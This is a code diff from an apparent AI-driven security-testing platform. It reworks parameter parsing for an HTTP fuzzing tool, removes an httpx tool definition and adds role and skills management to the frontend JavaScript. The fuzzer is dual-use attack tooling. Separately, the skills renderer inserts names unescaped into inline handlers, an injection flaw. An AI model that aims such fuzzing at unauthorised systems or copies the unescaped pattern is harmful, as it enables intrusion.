description: "自定义请求头(JSON字典、行分隔或分号分隔的 Header: Value 格式"
type: "object"
description: "自定义请求头(字典格式,如 {\"X-Custom\": \"value\"}"
required: false
flag: "--headers"
- name: "cookies"
+36 -10
View File
@@ -17,20 +17,46 @@ args:
url = sys.argv[1]
method = (sys.argv[2] or "GET").upper()
location = (sys.argv[3] or "query").lower()
params_json = sys.argv[4] if len(sys.argv) > 4 else "{}"
params_input = sys.argv[4] if len(sys.argv) > 4 else "{}"
payloads_json = sys.argv[5] if len(sys.argv) > 5 else "[]"
max_requests = int(sys.argv[6]) if len(sys.argv) > 6 and sys.argv[6] else 0
try:
params_template = json.loads(params_json) if params_json else {}
# 框架会将 object 类型序列化为 JSON 字符串传递
# sys.argv 中的参数都是字符串,需要解析 JSON
if params_input and params_input.strip():
params_template = json.loads(params_input)
if not isinstance(params_template, dict):
sys.stderr.write("参数模板必须是字典格式\n")
sys.exit(1)
else:
params_template = {}
except json.JSONDecodeError as exc:
sys.stderr.write(f"参数模板解析失败: {exc}\n")
sys.stderr.write(f"参数模板解析失败(需要 JSON 字典格式): {exc}\n")
sys.exit(1)
try:
payloads = json.loads(payloads_json)
except json.JSONDecodeError as exc:
sys.stderr.write(f"载荷解析失败: {exc}\n")
# 框架会将 array 类型转换为逗号分隔的字符串(见 formatParamValue
# 但为了兼容性,也支持 JSON 数组格式
if payloads_json and payloads_json.strip():
payloads_str = payloads_json.strip()
# 优先尝试解析为 JSON 数组
if payloads_str.startswith("["):
try:
payloads = json.loads(payloads_str)
except json.JSONDecodeError:
# JSON 解析失败,尝试逗号分隔格式
payloads = [item.strip() for item in payloads_str.split(",") if item.strip()]
else:
# 逗号分隔的字符串(框架的 array 类型默认格式)
payloads = [item.strip() for item in payloads_str.split(",") if item.strip()]
if not isinstance(payloads, list):
sys.stderr.write("载荷必须是数组格式\n")
sys.exit(1)
else:
payloads = []
except (json.JSONDecodeError, ValueError) as exc:
sys.stderr.write(f"载荷解析失败(需要 JSON 数组或逗号分隔格式): {exc}\n")
sys.exit(1)
if not isinstance(payloads, list) or not payloads:
@@ -110,14 +136,14 @@ parameters:
position: 2
format: "positional"
- name: "params"
type: "string"
description: "参数模板(JSON字典),指定要模糊的键及默认值"
type: "object"
description: "参数模板(字典格式),指定要模糊的键及默认值,如 {\"id\": \"1\", \"name\": \"test\"}"
required: true
position: 3
format: "positional"
- name: "payloads"
type: "string"
description: "载荷列表(JSON数组)"
type: "array"
description: "载荷列表(数组格式),如 [\"test1\", \"test2\", \"test3\"]"
required: true
position: 4
format: "positional"
-91
View File
@@ -1,91 +0,0 @@
name: "httpx"
command: "httpx"
enabled: true
short_description: "基于Python httpx库的HTTP客户端"
description: |
该工具包装的是 Python 社区版 httpx CLI`pip install httpx` 提供),可用于快速向 Web 目标发起请求、调试接口。
**提示:**
- 官方 CLI 的调用方式为 `httpx <URL> [OPTIONS]`
- 不支持 ProjectDiscovery 版本的 `-u/-l/-td` 等参数,请使用下方列出的原生选项或 additional_args 自行扩展
parameters:
- name: "url"
type: "string"
description: "目标URL(必填,作为位置参数传入)"
required: true
format: "positional"
- name: "method"
type: "string"
description: "HTTP方法,默认GET"
required: false
flag: "-m"
format: "flag"
- name: "content"
type: "string"
description: "原始请求体内容(对应 httpx CLI 的 --content"
required: false
flag: "-c"
format: "flag"
- name: "json"
type: "string"
description: "JSON 请求体(字符串形式)"
required: false
flag: "-j"
format: "flag"
- name: "proxy"
type: "string"
description: "代理地址(http(s):// 或 socks5://"
required: false
flag: "--proxy"
format: "flag"
- name: "timeout"
type: "string"
description: "网络超时时间(秒,可为小数)"
required: false
flag: "--timeout"
format: "flag"
- name: "follow_redirects"
type: "bool"
description: "是否自动跟随重定向"
required: false
flag: "--follow-redirects"
format: "flag"
default: false
- name: "no_verify"
type: "bool"
description: "关闭TLS证书校验(对应 --no-verify"
required: false
flag: "--no-verify"
format: "flag"
default: false
- name: "http2"
type: "bool"
description: "启用HTTP/2"
required: false
flag: "--http2"
format: "flag"
default: false
- name: "download"
type: "string"
description: "将响应内容保存至文件"
required: false
flag: "--download"
format: "flag"
- name: "verbose"
type: "bool"
description: "显示请求与响应的详细信息"
required: false
flag: "-v"
format: "flag"
default: false
- name: "additional_args"
type: "string"
description: |
额外 httpx CLI 选项,格式直接与官方命令保持一致。
**示例:**
- "--headers 'X-Test 1' 'X-Token secret'"
- "--cookies 'session abc123'"
- "--auth user pass"
required: false
format: "positional"
+912 -105
View File
File diff suppressed because it is too large Load Diff
+495 -669
View File
File diff suppressed because it is too large Load Diff
+4 -4
View File
@@ -10,7 +10,7 @@ let knowledgePagination = {
total: 0,
currentCategory: ''
};
let searchTimeout = null; // 搜索防抖定时器
let knowledgeSearchTimeout = null; // 搜索防抖定时器
// 加载知识分类
async function loadKnowledgeCategories() {
@@ -639,8 +639,8 @@ function handleKnowledgeSearchInput() {
const searchTerm = searchInput?.value.trim() || '';
// 清除之前的定时器
if (searchTimeout) {
clearTimeout(searchTimeout);
if (knowledgeSearchTimeout) {
clearTimeout(knowledgeSearchTimeout);
}
// 如果搜索框为空,立即恢复列表
@@ -656,7 +656,7 @@ function handleKnowledgeSearchInput() {
}
// 有搜索词时,延迟500ms后执行搜索(防抖)
searchTimeout = setTimeout(() => {
knowledgeSearchTimeout = setTimeout(() => {
searchKnowledgeItems();
}, 500);
}
+349 -18
View File
@@ -14,6 +14,11 @@ let roleUsesAllTools = false; // 标记角色是否使用所有工具(当没
let totalEnabledToolsInMCP = 0; // 已启用的工具总数(从MCP管理中获取,从API响应中获取)
let roleConfiguredTools = new Set(); // 角色配置的工具列表(用于确定哪些工具应该被选中)
// Skills相关
let allRoleSkills = []; // 存储所有skills列表
let roleSkillsSearchKeyword = ''; // Skills搜索关键词
let roleSelectedSkills = new Set(); // 选中的skills集合
// 对角色列表进行排序:默认角色排在第一个,其他按名称排序
function sortRoles(rolesArray) {
const sortedRoles = [...rolesArray];
@@ -428,8 +433,9 @@ async function loadRoleTools(page = 1, searchKeyword = '') {
});
} else {
// 工具已在映射中(可能是预先设置的选中工具或用户手动选择的),保留映射中的状态
// 但如果使用所有工具,且工具在MCP管理中已启用,确保标记为选中
// 注意:即使使用所有工具,也不要强制覆盖用户已取消的工具选择
const state = roleToolStateMap.get(toolKey);
// 如果使用所有工具,且工具在MCP管理中已启用,确保标记为选中
if (roleUsesAllTools && tool.enabled) {
// 使用所有工具时,确保所有已启用的工具都被选中
state.enabled = true;
@@ -670,11 +676,13 @@ function updateRoleToolsStats() {
if (roleUsesAllTools) {
// 使用从API响应中获取的已启用工具总数
const totalEnabled = totalEnabledToolsInMCP || 0;
// 当前页分母应该是当前页已启用的工具数,而不是所有工具数
const currentPageDenominator = currentPageEnabledInMCP > 0 ? currentPageEnabledInMCP : document.querySelectorAll('#role-tools-list input[type="checkbox"]').length;
// 当前页分母应该是当前页的总工具数(每页20个),而不是当前页已启用的工具数
const currentPageTotal = document.querySelectorAll('#role-tools-list input[type="checkbox"]').length;
// 总工具数(所有工具,包括已启用和未启用的)
const totalTools = roleToolsPagination.total || 0;
statsEl.innerHTML = `
<span title="当前页选中的工具数"> 当前页已选中: <strong>${currentPageEnabled}</strong> / ${currentPageDenominator}</span>
<span title="所有已启用工具中选中的工具总数(基于MCP管理)">📊 总计已选中: <strong>${totalEnabled}</strong> / ${totalEnabled} <em>(使用所有已启用工具)</em></span>
<span title="当前页选中的工具数"> 当前页已选中: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
<span title="所有已启用工具中选中的工具总数(基于MCP管理)">📊 总计已选中: <strong>${totalEnabled}</strong> / ${totalTools} <em>(使用所有已启用工具)</em></span>
`;
return;
}
@@ -719,12 +727,14 @@ function updateRoleToolsStats() {
});
}
// 当前页分母应该是当前页已启用的工具数,而不是所有工具数
const currentPageDenominator = currentPageEnabledInMCP > 0 ? currentPageEnabledInMCP : document.querySelectorAll('#role-tools-list input[type="checkbox"]').length;
// 当前页分母应该是当前页的总工具数(每页20个),而不是当前页已启用的工具数
const currentPageTotal = document.querySelectorAll('#role-tools-list input[type="checkbox"]').length;
// 总工具数(所有工具,包括已启用和未启用的)
const totalTools = roleToolsPagination.total || 0;
statsEl.innerHTML = `
<span title="当前页选中的工具数(只统计已启用的工具)"> 当前页已选中: <strong>${currentPageEnabled}</strong> / ${currentPageDenominator}</span>
<span title="角色已关联的工具总数(基于角色实际配置)">📊 总计已选中: <strong>${totalSelected}</strong> / ${totalEnabledForRole}</span>
<span title="当前页选中的工具数(只统计已启用的工具)"> 当前页已选中: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
<span title="角色已关联的工具总数(基于角色实际配置)">📊 总计已选中: <strong>${totalSelected}</strong> / ${totalTools}</span>
`;
}
@@ -823,6 +833,23 @@ async function showAddRoleModal() {
if (clearBtn) {
clearBtn.style.display = 'none';
}
// 清空工具列表 DOM,避免 loadRoleTools 中的 saveCurrentRolePageToolStates 读取旧状态
if (toolsList) {
toolsList.innerHTML = '';
}
// 重置skills状态
roleSelectedSkills.clear();
roleSkillsSearchKeyword = '';
const skillsSearchInput = document.getElementById('role-skills-search');
if (skillsSearchInput) {
skillsSearchInput.value = '';
}
const skillsClearBtn = document.getElementById('role-skills-search-clear');
if (skillsClearBtn) {
skillsClearBtn.style.display = 'none';
}
// 加载并渲染工具列表
await loadRoleTools(1, '');
@@ -831,6 +858,12 @@ async function showAddRoleModal() {
if (toolsList) {
toolsList.style.display = 'block';
}
// 确保统计信息正确更新(显示0/108)
updateRoleToolsStats();
// 加载并渲染skills列表
await loadRoleSkills();
modal.style.display = 'flex';
}
@@ -965,11 +998,13 @@ async function editRole(roleName) {
if (toolKey) {
const state = roleToolStateMap.get(toolKey);
// 只选中在MCP管理中已启用的工具
const shouldEnable = state && state.mcpEnabled !== false;
// 如果状态存在,使用状态中的 mcpEnabled;否则假设已启用(因为 loadRoleTools 应该已经初始化了所有工具)
const shouldEnable = state ? (state.mcpEnabled !== false) : true;
checkbox.checked = shouldEnable;
if (state) {
state.enabled = shouldEnable;
} else {
// 如果状态不存在,创建新状态(这种情况不应该发生,因为 loadRoleTools 应该已经初始化了)
roleToolStateMap.set(toolKey, {
enabled: shouldEnable,
is_external: isExternal,
@@ -981,12 +1016,24 @@ async function editRole(roleName) {
}
}
});
// 更新统计信息,确保显示正确的选中数量
updateRoleToolsStats();
} else if (selectedTools.length > 0) {
// 加载完成后,再次设置选中状态(确保当前页的工具也被正确设置)
setSelectedRoleTools(selectedTools);
}
}
// 加载并设置skills
await loadRoleSkills();
// 设置角色配置的skills
const selectedSkills = role.skills || [];
roleSelectedSkills.clear();
selectedSkills.forEach(skill => {
roleSelectedSkills.add(skill);
});
renderRoleSkills();
modal.style.display = 'flex';
}
@@ -1027,6 +1074,68 @@ function getDisabledTools(selectedTools) {
});
}
// 加载所有工具到状态映射中(用于从使用全部工具切换到部分工具时)
async function loadAllToolsToStateMap() {
try {
const pageSize = 100; // 使用较大的页面大小以减少请求次数
let page = 1;
let hasMore = true;
// 遍历所有页面获取所有工具
while (hasMore) {
const url = `/api/config/tools?page=${page}&page_size=${pageSize}`;
const response = await apiFetch(url);
if (!response.ok) {
throw new Error('获取工具列表失败');
}
const result = await response.json();
// 将所有工具添加到状态映射中
result.tools.forEach(tool => {
const toolKey = getToolKey(tool);
if (!roleToolStateMap.has(toolKey)) {
// 工具不在映射中,根据当前模式初始化
let enabled = false;
if (roleUsesAllTools) {
// 如果使用所有工具,且工具在MCP管理中已启用,则标记为选中
enabled = tool.enabled ? true : false;
} else {
// 如果不使用所有工具,只有工具在角色配置的工具列表中才标记为选中
enabled = roleConfiguredTools.has(toolKey);
}
roleToolStateMap.set(toolKey, {
enabled: enabled,
is_external: tool.is_external || false,
external_mcp: tool.external_mcp || '',
name: tool.name,
mcpEnabled: tool.enabled // 保存MCP管理中的原始启用状态
});
} else {
// 工具已在映射中,更新其他属性但保留enabled状态
const state = roleToolStateMap.get(toolKey);
state.is_external = tool.is_external || false;
state.external_mcp = tool.external_mcp || '';
state.mcpEnabled = tool.enabled; // 更新MCP管理中的原始启用状态
if (!state.name || state.name === toolKey.split('::').pop()) {
state.name = tool.name; // 更新工具名称
}
}
});
// 检查是否还有更多页面
if (page >= result.total_pages) {
hasMore = false;
} else {
page++;
}
}
} catch (error) {
console.error('加载所有工具到状态映射失败:', error);
throw error;
}
}
// 保存角色
async function saveRole() {
const name = document.getElementById('role-name').value.trim();
@@ -1049,22 +1158,86 @@ async function saveRole() {
const userPrompt = document.getElementById('role-user-prompt').value.trim();
const enabled = document.getElementById('role-enabled').checked;
const isEdit = document.getElementById('role-name').disabled;
// 检查是否为默认角色
const isDefaultRole = name === '默认';
// 检查是否是首次添加角色(排除默认角色后,没有任何用户创建的角色)
const isFirstUserRole = !isEdit && !isDefaultRole && roles.filter(r => r.name !== '默认').length === 0;
// 默认角色不保存tools字段(使用所有工具)
// 非默认角色:如果使用所有工具(roleUsesAllTools为true),也不保存tools字段
let tools = [];
let disabledTools = []; // 存储未在MCP管理中启用的工具
if (!isDefaultRole && !roleUsesAllTools) {
if (!isDefaultRole) {
// 保存当前页的状态
saveCurrentRolePageToolStates();
// 收集所有选中的工具(包括未在MCP管理中启用的)
const allSelectedTools = getAllSelectedRoleTools();
let allSelectedTools = getAllSelectedRoleTools();
// 检查哪些工具未在MCP管理中启用
// 如果是首次添加角色且没有选择工具,默认使用全部工具
if (isFirstUserRole && allSelectedTools.length === 0) {
roleUsesAllTools = true;
showNotification('检测到这是首次添加角色且未选择工具,将默认使用全部工具', 'info');
} else if (roleUsesAllTools) {
// 如果当前使用所有工具,需要检查用户是否取消了一些工具
// 检查状态映射中是否有未选中的已启用工具
let hasUnselectedTools = false;
roleToolStateMap.forEach((state) => {
// 如果工具在MCP管理中已启用但未选中,说明用户取消了该工具
if (state.mcpEnabled !== false && !state.enabled) {
hasUnselectedTools = true;
}
});
// 如果用户取消了一些已启用的工具,切换到部分工具模式
if (hasUnselectedTools) {
// 在切换之前,需要加载所有工具到状态映射中
// 这样我们可以正确保存所有工具的状态(除了用户取消的那些)
await loadAllToolsToStateMap();
// 将所有已启用的工具标记为选中(除了用户已取消的那些)
// 用户已取消的工具在状态映射中enabled为false,保持不变
roleToolStateMap.forEach((state, toolKey) => {
// 如果工具在MCP管理中已启用,且状态映射中没有明确标记为未选中(即enabled不是false
// 则标记为选中
if (state.mcpEnabled !== false && state.enabled !== false) {
state.enabled = true;
}
});
roleUsesAllTools = false;
} else {
// 即使使用所有工具,也需要加载所有工具到状态映射中,以便检查是否有未启用的工具被选中
// 这样可以检测用户是否手动选择了一些未启用的工具
await loadAllToolsToStateMap();
// 检查是否有未启用的工具被手动选中(enabled为true但mcpEnabled为false
let hasDisabledToolsSelected = false;
roleToolStateMap.forEach((state) => {
if (state.enabled && state.mcpEnabled === false) {
hasDisabledToolsSelected = true;
}
});
// 如果没有未启用的工具被选中,将所有已启用的工具标记为选中(这是使用所有工具的默认行为)
if (!hasDisabledToolsSelected) {
roleToolStateMap.forEach((state) => {
if (state.mcpEnabled !== false) {
state.enabled = true;
}
});
}
// 更新 allSelectedTools,因为现在状态映射中包含了所有工具
allSelectedTools = getAllSelectedRoleTools();
}
}
// 检查哪些工具未在MCP管理中启用(无论是否使用所有工具都要检查)
disabledTools = getDisabledTools(allSelectedTools);
// 如果有未启用的工具,提示用户
@@ -1077,20 +1250,25 @@ async function saveRole() {
}
}
// 获取选中的工具列表(只包含在MCP管理中已启用的工具)
tools = await getSelectedRoleTools();
// 如果使用所有工具,不需要获取工具列表
if (!roleUsesAllTools) {
// 获取选中的工具列表(只包含在MCP管理中已启用的工具)
tools = await getSelectedRoleTools();
}
}
// 获取选中的skills
const skills = Array.from(roleSelectedSkills);
const roleData = {
name: name,
description: description,
icon: icon || undefined, // 如果为空字符串,则不发送该字段
user_prompt: userPrompt,
tools: tools, // 默认角色为空数组,表示使用所有工具
skills: skills, // Skills列表
enabled: enabled
};
const isEdit = document.getElementById('role-name').disabled;
const url = isEdit ? `/api/roles/${encodeURIComponent(name)}` : '/api/roles';
const method = isEdit ? 'PUT' : 'POST';
@@ -1116,7 +1294,7 @@ async function saveRole() {
toolNames = toolNames.substring(0, 100) + '...';
}
showNotification(
`${isEdit ? '角色已更新' : '角色已创建'},但已过滤 ${disabledTools.length} 个未在MCP管理中启用的工具。请先在"MCP管理"中启用这些工具,然后再在角色中配置。`,
`${isEdit ? '角色已更新' : '角色已创建'},但已过滤 ${disabledTools.length} 个未在MCP管理中启用的工具${toolNames}。请先在"MCP管理"中启用这些工具,然后再在角色中配置。`,
'warning'
);
} else {
@@ -1228,3 +1406,156 @@ if (typeof window !== 'undefined') {
};
}
// ==================== Skills相关函数 ====================
// 加载skills列表
async function loadRoleSkills() {
try {
const response = await apiFetch('/api/roles/skills/list');
if (!response.ok) {
throw new Error('加载skills列表失败');
}
const data = await response.json();
allRoleSkills = data.skills || [];
renderRoleSkills();
} catch (error) {
console.error('加载skills列表失败:', error);
allRoleSkills = [];
const skillsList = document.getElementById('role-skills-list');
if (skillsList) {
skillsList.innerHTML = '<div class="skills-error">加载skills列表失败: ' + error.message + '</div>';
}
}
}
// 渲染skills列表
function renderRoleSkills() {
const skillsList = document.getElementById('role-skills-list');
if (!skillsList) return;
// 过滤skills
let filteredSkills = allRoleSkills;
if (roleSkillsSearchKeyword) {
const keyword = roleSkillsSearchKeyword.toLowerCase();
filteredSkills = allRoleSkills.filter(skill =>
skill.toLowerCase().includes(keyword)
);
}
if (filteredSkills.length === 0) {
skillsList.innerHTML = '<div class="skills-empty">' +
(roleSkillsSearchKeyword ? '没有找到匹配的skills' : '暂无可用skills') +
'</div>';
updateRoleSkillsStats();
return;
}
// 渲染skills列表
skillsList.innerHTML = filteredSkills.map(skill => {
const isSelected = roleSelectedSkills.has(skill);
return `
<div class="role-skill-item" data-skill="${skill}">
<label class="checkbox-label">
<input type="checkbox" class="modern-checkbox"
${isSelected ? 'checked' : ''}
onchange="toggleRoleSkill('${skill}', this.checked)" />
<span class="checkbox-custom"></span>
<span class="checkbox-text">${escapeHtml(skill)}</span>
</label>
</div>
`;
}).join('');
updateRoleSkillsStats();
}
// 切换skill选中状态
function toggleRoleSkill(skill, checked) {
if (checked) {
roleSelectedSkills.add(skill);
} else {
roleSelectedSkills.delete(skill);
}
updateRoleSkillsStats();
}
// 全选skills
function selectAllRoleSkills() {
let filteredSkills = allRoleSkills;
if (roleSkillsSearchKeyword) {
const keyword = roleSkillsSearchKeyword.toLowerCase();
filteredSkills = allRoleSkills.filter(skill =>
skill.toLowerCase().includes(keyword)
);
}
filteredSkills.forEach(skill => {
roleSelectedSkills.add(skill);
});
renderRoleSkills();
}
// 全不选skills
function deselectAllRoleSkills() {
let filteredSkills = allRoleSkills;
if (roleSkillsSearchKeyword) {
const keyword = roleSkillsSearchKeyword.toLowerCase();
filteredSkills = allRoleSkills.filter(skill =>
skill.toLowerCase().includes(keyword)
);
}
filteredSkills.forEach(skill => {
roleSelectedSkills.delete(skill);
});
renderRoleSkills();
}
// 搜索skills
function searchRoleSkills(keyword) {
roleSkillsSearchKeyword = keyword;
const clearBtn = document.getElementById('role-skills-search-clear');
if (clearBtn) {
clearBtn.style.display = keyword ? 'block' : 'none';
}
renderRoleSkills();
}
// 清除skills搜索
function clearRoleSkillsSearch() {
const searchInput = document.getElementById('role-skills-search');
if (searchInput) {
searchInput.value = '';
}
roleSkillsSearchKeyword = '';
const clearBtn = document.getElementById('role-skills-search-clear');
if (clearBtn) {
clearBtn.style.display = 'none';
}
renderRoleSkills();
}
// 更新skills统计信息
function updateRoleSkillsStats() {
const statsEl = document.getElementById('role-skills-stats');
if (!statsEl) return;
let filteredSkills = allRoleSkills;
if (roleSkillsSearchKeyword) {
const keyword = roleSkillsSearchKeyword.toLowerCase();
filteredSkills = allRoleSkills.filter(skill =>
skill.toLowerCase().includes(keyword)
);
}
const selectedCount = Array.from(roleSelectedSkills).filter(skill =>
filteredSkills.includes(skill)
).length;
statsEl.textContent = `已选择 ${selectedCount} / ${filteredSkills.length}`;
}
// HTML转义函数
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
+43 -2
View File
@@ -8,7 +8,7 @@ function initRouter() {
if (hash) {
const hashParts = hash.split('?');
const pageId = hashParts[0];
if (pageId && ['chat', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'settings', 'tasks'].includes(pageId)) {
if (pageId && ['chat', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings', 'tasks'].includes(pageId)) {
switchPage(pageId);
// 如果是chat页面且带有conversation参数,加载对应对话
@@ -94,6 +94,19 @@ function updateNavState(pageId) {
knowledgeItem.classList.add('expanded');
}
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
if (submenuItem) {
submenuItem.classList.add('active');
}
} else if (pageId === 'skills-monitor' || pageId === 'skills-management') {
// Skills子菜单项
const skillsItem = document.querySelector('.nav-item[data-page="skills"]');
if (skillsItem) {
skillsItem.classList.add('active');
// 展开Skills子菜单
skillsItem.classList.add('expanded');
}
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
if (submenuItem) {
submenuItem.classList.add('active');
@@ -107,6 +120,19 @@ function updateNavState(pageId) {
rolesItem.classList.add('expanded');
}
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
if (submenuItem) {
submenuItem.classList.add('active');
}
} else if (pageId === 'skills-monitor' || pageId === 'skills-management') {
// Skills子菜单项
const skillsItem = document.querySelector('.nav-item[data-page="skills"]');
if (skillsItem) {
skillsItem.classList.add('active');
// 展开Skills子菜单
skillsItem.classList.add('expanded');
}
const submenuItem = document.querySelector(`.nav-submenu-item[data-page="${pageId}"]`);
if (submenuItem) {
submenuItem.classList.add('active');
@@ -262,6 +288,21 @@ function initPage(pageId) {
});
}
break;
case 'skills-monitor':
// 初始化Skills状态监控页面
if (typeof loadSkillsMonitor === 'function') {
loadSkillsMonitor();
}
break;
case 'skills-management':
// 初始化Skills管理页面
if (typeof initSkillsPagination === 'function') {
initSkillsPagination();
}
if (typeof loadSkills === 'function') {
loadSkills();
}
break;
}
// 清理其他页面的定时器
@@ -282,7 +323,7 @@ document.addEventListener('DOMContentLoaded', function() {
const hashParts = hash.split('?');
const pageId = hashParts[0];
if (pageId && ['chat', 'tasks', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'settings'].includes(pageId)) {
if (pageId && ['chat', 'tasks', 'vulnerabilities', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'settings'].includes(pageId)) {
switchPage(pageId);
// 如果是chat页面且带有conversation参数,加载对应对话
+716
View File
@@ -0,0 +1,716 @@
// Skills管理相关功能
let skillsList = [];
let currentEditingSkillName = null;
let isSavingSkill = false; // 防止重复提交
let skillsSearchKeyword = '';
let skillsSearchTimeout = null; // 搜索防抖定时器
let skillsPagination = {
currentPage: 1,
pageSize: 20, // 每页20条(默认值,实际从localStorage读取)
total: 0
};
let skillsStats = {
total: 0,
totalCalls: 0,
totalSuccess: 0,
totalFailed: 0,
skillsDir: '',
stats: []
};
// 获取保存的每页显示数量
function getSkillsPageSize() {
try {
const saved = localStorage.getItem('skillsPageSize');
if (saved) {
const size = parseInt(saved);
if ([10, 20, 50, 100].includes(size)) {
return size;
}
}
} catch (e) {
console.warn('无法从localStorage读取分页设置:', e);
}
return 20; // 默认20
}
// 初始化分页设置
function initSkillsPagination() {
const savedPageSize = getSkillsPageSize();
skillsPagination.pageSize = savedPageSize;
}
// 加载skills列表(支持分页)
async function loadSkills(page = 1, pageSize = null) {
try {
// 如果没有指定pageSize,使用保存的值或默认值
if (pageSize === null) {
pageSize = getSkillsPageSize();
}
// 更新分页状态(确保使用正确的pageSize)
skillsPagination.currentPage = page;
skillsPagination.pageSize = pageSize;
// 清空搜索关键词(正常分页加载时)
skillsSearchKeyword = '';
const searchInput = document.getElementById('skills-search');
if (searchInput) {
searchInput.value = '';
}
// 构建URL(支持分页)
const offset = (page - 1) * pageSize;
const url = `/api/skills?limit=${pageSize}&offset=${offset}`;
const response = await apiFetch(url);
if (!response.ok) {
throw new Error('获取skills列表失败');
}
const data = await response.json();
skillsList = data.skills || [];
skillsPagination.total = data.total || 0;
renderSkillsList();
renderSkillsPagination();
updateSkillsManagementStats();
} catch (error) {
console.error('加载skills列表失败:', error);
showNotification('加载skills列表失败: ' + error.message, 'error');
const skillsListEl = document.getElementById('skills-list');
if (skillsListEl) {
skillsListEl.innerHTML = '<div class="empty-state">加载失败: ' + error.message + '</div>';
}
}
}
// 渲染skills列表
function renderSkillsList() {
const skillsListEl = document.getElementById('skills-list');
if (!skillsListEl) return;
// 后端已经完成搜索过滤,直接使用skillsList
const filteredSkills = skillsList;
if (filteredSkills.length === 0) {
skillsListEl.innerHTML = '<div class="empty-state">' +
(skillsSearchKeyword ? '没有找到匹配的skills' : '暂无skills,点击"添加Skill"创建第一个skill') +
'</div>';
// 搜索时隐藏分页
const paginationContainer = document.getElementById('skills-pagination');
if (paginationContainer) {
paginationContainer.innerHTML = '';
}
return;
}
skillsListEl.innerHTML = filteredSkills.map(skill => {
const fileSize = skill.file_size || 0;
const fileSizeStr = fileSize < 1024 ? fileSize + ' B' :
fileSize < 1024 * 1024 ? (fileSize / 1024).toFixed(2) + ' KB' :
(fileSize / (1024 * 1024)).toFixed(2) + ' MB';
return `
<div class="skill-item">
<div class="skill-item-header">
<div class="skill-item-info">
<h3 class="skill-item-name">${escapeHtml(skill.name || '')}</h3>
${skill.description ? `<p class="skill-item-desc">${escapeHtml(skill.description)}</p>` : ''}
</div>
<div class="skill-item-actions">
<button class="btn-icon" onclick="viewSkill('${escapeHtml(skill.name)}')" title="查看">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"></path>
<circle cx="12" cy="12" r="3"></circle>
</svg>
</button>
<button class="btn-icon" onclick="editSkill('${escapeHtml(skill.name)}')" title="编辑">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M11 4H4a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7"></path>
<path d="M18.5 2.5a2.121 2.121 0 0 1 3 3L12 15l-4 1 1-4 9.5-9.5z"></path>
</svg>
</button>
<button class="btn-icon btn-danger" onclick="deleteSkill('${escapeHtml(skill.name)}')" title="删除">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<polyline points="3 6 5 6 21 6"></polyline>
<path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"></path>
</svg>
</button>
</div>
</div>
<div class="skill-item-meta">
<span class="skill-meta-item">路径: ${escapeHtml(skill.path || '')}</span>
<span class="skill-meta-item">大小: ${fileSizeStr}</span>
${skill.mod_time ? `<span class="skill-meta-item">修改时间: ${escapeHtml(skill.mod_time)}</span>` : ''}
</div>
</div>
`;
}).join('');
}
// 渲染分页组件(参考MCP管理页面样式)
function renderSkillsPagination() {
const paginationContainer = document.getElementById('skills-pagination');
if (!paginationContainer) return;
const total = skillsPagination.total;
const pageSize = skillsPagination.pageSize;
const currentPage = skillsPagination.currentPage;
const totalPages = Math.ceil(total / pageSize);
// 即使只有一页也显示分页信息(参考MCP样式)
if (total === 0) {
paginationContainer.innerHTML = '';
return;
}
// 计算显示范围
const start = total === 0 ? 0 : (currentPage - 1) * pageSize + 1;
const end = total === 0 ? 0 : Math.min(currentPage * pageSize, total);
let paginationHTML = '<div class="pagination">';
// 左侧:显示范围信息和每页数量选择器(参考MCP样式)
paginationHTML += `
<div class="pagination-info">
<span>显示 ${start}-${end} / ${total} </span>
<label class="pagination-page-size">
每页显示
<select id="skills-page-size-pagination" onchange="changeSkillsPageSize()">
<option value="10" ${pageSize === 10 ? 'selected' : ''}>10</option>
<option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
<option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
<option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
</select>
</label>
</div>
`;
// 右侧:分页按钮(参考MCP样式:首页、上一页、第X/Y页、下一页、末页)
paginationHTML += `
<div class="pagination-controls">
<button class="btn-secondary" onclick="loadSkills(1, ${pageSize})" ${currentPage === 1 || total === 0 ? 'disabled' : ''}>首页</button>
<button class="btn-secondary" onclick="loadSkills(${currentPage - 1}, ${pageSize})" ${currentPage === 1 || total === 0 ? 'disabled' : ''}>上一页</button>
<span class="pagination-page"> ${currentPage} / ${totalPages || 1} </span>
<button class="btn-secondary" onclick="loadSkills(${currentPage + 1}, ${pageSize})" ${currentPage >= totalPages || total === 0 ? 'disabled' : ''}>下一页</button>
<button class="btn-secondary" onclick="loadSkills(${totalPages || 1}, ${pageSize})" ${currentPage >= totalPages || total === 0 ? 'disabled' : ''}>末页</button>
</div>
`;
paginationHTML += '</div>';
paginationContainer.innerHTML = paginationHTML;
// 确保分页组件与列表内容区域对齐(不包括滚动条)
function alignPaginationWidth() {
const skillsList = document.getElementById('skills-list');
if (skillsList && paginationContainer) {
// 获取列表的实际内容宽度(不包括滚动条)
const listClientWidth = skillsList.clientWidth; // 可视区域宽度(不包括滚动条)
